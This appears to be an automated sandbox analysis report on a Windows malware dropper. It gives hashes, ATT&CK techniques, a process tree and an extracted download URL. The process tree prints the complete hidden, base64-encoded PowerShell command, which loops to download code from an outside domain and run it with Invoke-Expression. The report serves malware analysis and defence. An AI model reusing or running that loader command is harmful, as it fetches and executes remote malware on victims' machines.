223cda449a2f2cb91a94ea3bebb50323493a8ff15f358b95d908f71bbe523d87

General

Target
223cda449a2f2cb91a94ea3bebb50323493a8ff15f358b95d908f71bbe523d87.exe
Size 39.4MB
Sample241113-ysnsdsycmd
SHA256 223cda449a2f2cb91a94ea3bebb50323493a8ff15f358b95d908f71bbe523d87
MD5 e1aebde0c9395b379fa76018d9b717a6
SHA1 0b6e8886027e9354c8366e5dcab1ab201004b74a
SHA512 e2776bc641b2332d81e5d97b4dd7a9215fcf64c7b25b2c6b4137c52549f7036f7148850b3b0e8805cee8182063a834fce6fce5b9cfac403a251e99706a883d40
SSDEEP 98304:jiVDQ9FL6DknsetKMaoGhTuk/Tzy+ZmQsW:t9B6zet5Cuk/THmQsW
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

defense_evasion execution

Malware Config

Extracted

Language

ps1

Deobfuscated

Source

URLs

exe.dropper
https://mydatayxnhzcs.tech/fil

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3064	powershell.exe

Hide Artifacts: Hidden Window 1 TTPs 1 IoCs

Windows that would typically be displayed when an application carries out an operation can be hidden.

defense_evasion

Hidden Window

T1564.003

pid	Process
2972	cmd.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3064	powershell.exe
3064	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3064	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 368 wrote to memory of 2972	368	223cda449a2f2cb91a94ea3bebb50323493a8ff15f358b95d908f71bbe523d87.exe	85
PID 368 wrote to memory of 2972	368	223cda449a2f2cb91a94ea3bebb50323493a8ff15f358b95d908f71bbe523d87.exe	85
PID 2972 wrote to memory of 3064	2972	cmd.exe	87
PID 2972 wrote to memory of 3064	2972	cmd.exe	87

C:\Users\Admin\AppData\Local\Temp\223cda449a2f2cb91a94ea3bebb50323493a8ff15f358b95d908f71bbe523d87.exe
"C:\Users\Admin\AppData\Local\Temp\223cda449a2f2cb91a94ea3bebb50323493a8ff15f358b95d908f71bbe523d87.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:368
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c start /min "" powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AG8AbABvAG8AYwBlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJAC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAIgBaAFMAOQB3AGMAeQA4ADIAWQBUAGMAMwBOAFcAUgBqAFkAVABNAHoATQB6AFEAMwBPAFQAVQAzAE0ARwBZAHkATgBEAEYAagBZAHoARQB6AE0AbQBGAGwATQBUAEkAMwBZAHkANQBxAGMARwBjAD0AIgApACkAOwAKACQAeQBuAHkAdgBuAGUAZAA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AHQAZQBXAFIAaABkAEcARgA1AGUARwA1AG8AZQBtAE4AegBMAG4AUgBsAFkAMgBnAHYAWgBtAGwAcwAiACkAKQA7AAoAJAB1AHIAaQAgAD0AIAAoACQAeQBuAHkAdgBuAGUAZAAgACsAIAAkAHUAbwBsAG8AbwBjAGUAKQA7AAoAJABjAG8AdQBuAHQAIAA9ACAAMQAwADsACgB3AGgAaQBsAGUAKAAkAGMAbwB1AG4AdAAgAC0AZwB0ACAAMAApAAoAewAKAAkAdAByAHkAewAKAAkACQAkAGMAbwBuAHQAZQBuAHQAIAA9ACAASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACQAdQByAGkAIAAtAFUAcwBlAEIAYQBzAGkAYwBQAGEAcgBzAGkAbgBnADsACgAJAAkASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACAAJABjAG8AbgB0AGUAbgB0ADsACgAJAAkAYgByAGUAYQBrADsACgAJAH0ACgAJAGMAYQB0AGMAaAAKAAkAewAKAAkACQBXAHIAaQB0AGUALQBIAG8AcwB0ACAAJABfAC4ARQB4AGMAZQBwAHQAaQBvAG4ALgBNAGUAcwBzAGEAZwBlAAoACQAJACQAYwBvAHUAbgB0ACAALQA9ACAAMQA7AAoACQAJAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AcwAgADEANQA7AAoACQB9AAoAfQAKAA==
  2⤵
  - Hide Artifacts: Hidden Window
  - Suspicious use of WriteProcessMemory
  PID:2972
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AG8AbABvAG8AYwBlAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJAC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAIgBaAFMAOQB3AGMAeQA4ADIAWQBUAGMAMwBOAFcAUgBqAFkAVABNAHoATQB6AFEAMwBPAFQAVQAzAE0ARwBZAHkATgBEAEYAagBZAHoARQB6AE0AbQBGAGwATQBUAEkAMwBZAHkANQBxAGMARwBjAD0AIgApACkAOwAKACQAeQBuAHkAdgBuAGUAZAA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AHQAZQBXAFIAaABkAEcARgA1AGUARwA1AG8AZQBtAE4AegBMAG4AUgBsAFkAMgBnAHYAWgBtAGwAcwAiACkAKQA7AAoAJAB1AHIAaQAgAD0AIAAoACQAeQBuAHkAdgBuAGUAZAAgACsAIAAkAHUAbwBsAG8AbwBjAGUAKQA7AAoAJABjAG8AdQBuAHQAIAA9ACAAMQAwADsACgB3AGgAaQBsAGUAKAAkAGMAbwB1AG4AdAAgAC0AZwB0ACAAMAApAAoAewAKAAkAdAByAHkAewAKAAkACQAkAGMAbwBuAHQAZQBuAHQAIAA9ACAASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACQAdQByAGkAIAAtAFUAcwBlAEIAYQBzAGkAYwBQAGEAcgBzAGkAbgBnADsACgAJAAkASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACAAJABjAG8AbgB0AGUAbgB0ADsACgAJAAkAYgByAGUAYQBrADsACgAJAH0ACgAJAGMAYQB0AGMAaAAKAAkAewAKAAkACQBXAHIAaQB0AGUALQBIAG8AcwB0ACAAJABfAC4ARQB4AGMAZQBwAHQAaQBvAG4ALgBNAGUAcwBzAGEAZwBlAAoACQAJACQAYwBvAHUAbgB0ACAALQA9ACAAMQA7AAoACQAJAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AcwAgADEANQA7AAoACQB9AAoAfQAKAA==
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3064

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

1

T1564

Hidden Window

1

T1564.003

Obfuscated Files or Information

1

T1027

Command Obfuscation

1

T1027.010

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

__PSScriptPolicyTest_eifv4pup.u54.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_eifv4pup.u54.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

memory/3064-2-0x00007FFAA2693000-0x00007FFAA2695000-memory.dmp

Download

memory/3064-12-0x0000019C491F0000-0x0000019C49212000-memory.dmp

Download

memory/3064-13-0x00007FFAA2690000-0x00007FFAA3151000-memory.dmp

Download

memory/3064-14-0x00007FFAA2690000-0x00007FFAA3151000-memory.dmp

Download

memory/3064-15-0x00007FFAA2693000-0x00007FFAA2695000-memory.dmp

Download

memory/3064-16-0x00007FFAA2690000-0x00007FFAA3151000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads